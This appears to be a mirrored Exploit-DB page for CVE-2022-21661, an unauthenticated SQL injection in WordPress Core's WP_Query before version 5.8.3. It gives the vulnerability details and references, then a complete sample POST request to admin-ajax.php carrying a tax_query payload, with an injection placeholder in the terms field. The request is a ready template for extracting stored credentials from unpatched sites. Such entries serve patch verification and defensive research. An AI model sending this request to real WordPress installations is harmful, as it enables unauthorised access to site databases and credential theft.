WordPress Core 5.8.2 – ‘WP_Query’ SQL Injection

  • 作者: Aryan Chehreghani
    日期: 2022-01-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50663/
  • # Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
    # Date: 11/01/2022
    # Exploit Author: Aryan Chehreghani
    # Vendor Homepage: https://wordpress.org
    # Software Link: https://wordpress.org/download/releases
    # Version: < 5.8.3
    # Tested on: Windows 10
    # CVE : CVE-2022-21661
    
    # [ VULNERABILITY DETAILS ] : 
    
    #This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
    #Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
    #The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
    #An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.
    
    # [ References ] : 
    
    https://wordpress.org/news/category/releases
    https://www.zerodayinitiative.com/advisories/ZDI-22-020
    https://hackerone.com/reports/1378209
    
    # [ Sample Request ] :
    
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: localhost
    Upgrade-Insecure_Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: cross-site
    Sec-Fetch-User: ?1
    Cache-Control: max-age=0
    Connection: close 
    Content-Type: application/x-www-form-urlencoded
    
    action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}